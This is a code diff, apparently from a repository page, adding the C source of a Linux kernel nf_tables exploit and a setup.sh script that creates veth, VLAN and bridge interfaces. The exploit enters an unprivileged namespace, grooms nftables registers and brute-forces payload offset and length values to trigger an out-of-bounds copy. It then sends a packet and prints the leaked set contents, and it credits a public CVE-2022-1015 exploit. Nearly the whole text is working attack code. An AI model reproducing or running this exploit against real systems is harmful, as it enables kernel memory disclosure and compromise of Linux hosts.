     56 + NLM_F_CREATE, family, (void**)&r, seq,
     57 + NULL
     58 + );
     59 +
     60 +}
     61 +
     62 +int create_exploit_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len)
     63 +{
     64 + struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
     65 +
     66 + // 1. register grooming to check whether they have been overwritten
     67 + char *keys[] = {"AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH"};
     68 + char *values[] = {"AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH"};
     69 +
     70 + for (unsigned int keyreg = NFT_REG32_00; keyreg <= NFT_REG32_07; keyreg++) {
     71 + rule_add_immediate_data(r, keyreg, (void *) keys[keyreg - NFT_REG32_00], 4);
     72 + }
     73 + for (unsigned int datareg = NFT_REG32_09; datareg <= NFT_REG32_15; datareg++) {
     74 + rule_add_immediate_data(r, datareg, (void *) values[datareg - NFT_REG32_09], 4);
     75 + }
     76 +
     77 + // 2. trigger overflow and overwrite registers
     78 + rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_00);
     79 +
     80 + // 3. copy registers to set
     81 + for (int keyreg = NFT_REG32_00, datareg = NFT_REG32_08; keyreg <= NFT_REG32_07, datareg <= NFT_REG32_15; datareg++, keyreg++) {
     82 + rule_add_dynset(r, "myset12", keyreg, datareg);
     83 + }
     84 +
     85 + // 4. commit
     86 + return send_batch_request(
     87 + nl,
     88 + NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
     89 + NLM_F_CREATE, family, (void**)&r, seq,
     90 + NULL
     91 + );
     92 +}
     93 +
     94 +int main(int argc, char** argv, char** envp)
     95 +{
     96 + // cool trick from https://github.com/pqlx/CVE-2022-1015/blob/master/pwn.c
     97 + if (argc < 2) {
     98 + puts("[+] Dropping into network namespace");
     99 +
     100 + char* new_argv[] = {
     101 + "/usr/bin/unshare",
     102 + "-Urn",
     103 + argv[0],
     104 + "EXPLOIT",
     105 + NULL
     106 + };
     107 +
     108 + execve(new_argv[0], new_argv, envp);
     109 + puts("Couldn't start unshare wrapper..");
     110 + puts("Recompile the exploit with an appropriate unshare path.");
     111 + exit(EXIT_FAILURE);
     112 + }
     113 + if (strcmp("EXPLOIT", argv[1])) {
     114 + puts("[-] Something went wrong...");
     115 + exit(EXIT_FAILURE);
     116 + }
     117 +
     118 + puts("[+] Setting up the network namespace environment");
     119 + system("./setup.sh");
     120 +
     121 + struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
     122 +
     123 + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
     124 + perror("[-] mnl_socket_bind");
     125 + puts("[-] Check your CAP_NET_ADMIN capability");
     126 + exit(EXIT_FAILURE);
     127 + }
     128 + int seq = time(NULL);
     129 + int err;
     130 +
     131 + char *table_name = "mytable",
     132 + *base_chain_name = "base_chain",
     133 + *exploit_chain_name = "exploit_chain",
     134 + *set_name = "myset12",
     135 + *dev_name = "eth0";
     136 +
     137 + if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL) == -1) {
     138 + perror("Failed creating table");
     139 + exit(EXIT_FAILURE);
     140 + }
     141 + printf("[+] Created table %s\n", table_name);
     142 +
     143 + struct unft_base_chain_param bp;
     144 + bp.hook_num = NF_NETDEV_INGRESS; // NF_INET_PRE_ROUTING; // NF_BR_LOCAL_IN;
     145 + bp.prio = INT_MIN;
     146 + if (create_chain(nl, table_name, base_chain_name, dev_name, NFPROTO_NETDEV, &bp, &seq, NULL)) {
     147 + perror("Failed creating base chain");
     148 + exit(EXIT_FAILURE);
     149 + }
     150 + printf("[+] Created base chain %s\n", base_chain_name);
     151 +
     152 + if (create_chain(nl, table_name, exploit_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
     153 + perror("Failed creating exploit chain");
     154 + exit(EXIT_FAILURE);
     155 + }
     156 + printf("[+] Created exploit chain %s\n", base_chain_name);
     157 +
     158 + if (create_set(nl, table_name, set_name, NFPROTO_NETDEV, &seq, NULL)) {
     159 + perror("Failed creating set");
     160 + exit(EXIT_FAILURE);
     161 + }
     162 + printf("[+] Created exploit set\n");
     163 +
     164 + if (create_base_chain_rule_leak(nl, table_name, base_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
     165 + perror("Failed creating base chain rule");
     166 + exit(EXIT_FAILURE);
     167 + }
     168 + printf("[+] Created base chain rule\n");
     169 +
     170 + uint8_t vlan_hlen = 0, ethlen;
     171 + for (uint8_t len = 0; len < UINT8_MAX; len++) {
     172 + for (uint8_t offset = 0; offset < UINT8_MAX; offset++) {
     173 + if (offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN) {
     174 + vlan_hlen = 4;
     175 + } else {
     176 + vlan_hlen = 0;
     177 + }
     178 + if (offset < VLAN_ETH_HLEN + vlan_hlen) {
     179 + uint8_t ethlen = len;
     180 + if (offset + len > VLAN_ETH_HLEN + vlan_hlen) {
     181 + ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
     182 + if (ethlen > 250 && vlan_hlen == 4 && len % 4 == 0) {
     183 + if (create_exploit_chain_rule(nl, table_name, exploit_chain_name, NFPROTO_NETDEV, NULL, &seq, offset, len)) {
     184 + perror("Failed creating base chain rule");
     185 + return EXIT_FAILURE;
     186 + } else {
     187 + printf("offset: %hhu & len: %hhu & ethlen = %hhu\n", offset, len, ethlen);
     188 + puts("[+] Successfully created exploit chain rule!");
     189 + if (send_packet() == 0) {
     190 + puts("[+] Exploit should have triggered, printing the result");
     191 + system("nft list map netdev mytable myset12");
     192 + return EXIT_SUCCESS;
     193 + }
     194 + }
     195 + }
     196 + }
     197 + }
     198 + }
     199 + }
     200 + return EXIT_FAILURE;
     201 +}
     202 + 
  • ■ ■ ■ ■ ■ ■
    setup.sh
     1 +#!/bin/sh
     2 + 
     3 +# create the peer virtual device
     4 +ip link add eth0 type veth peer name host-enp3s0
     5 +ip link set host-enp3s0 up
     6 +ip link set eth0 up
     7 +ip addr add 192.168.137.137/24 dev host-enp3s0
     8 +# add two vlans on top of it
     9 +ip link add link host-enp3s0 name vlan.5 type vlan id 5
     10 +ip link add link vlan.5 name vlan.10 type vlan id 10
     11 +ip addr add 192.168.147.137/24 dev vlan.10
     12 +ip link set vlan.5 up
     13 +ip link set vlan.10 up
     14 +ip link set lo up
     15 +# create a bridge to enable hooks
     16 +ip link add name br0 type bridge
     17 +ip link set dev br0 up
     18 +ip link set eth0 master br0
     19 +ip addr add 192.168.157.137/24 dev br0
Please wait...
Page is in error, reload to recover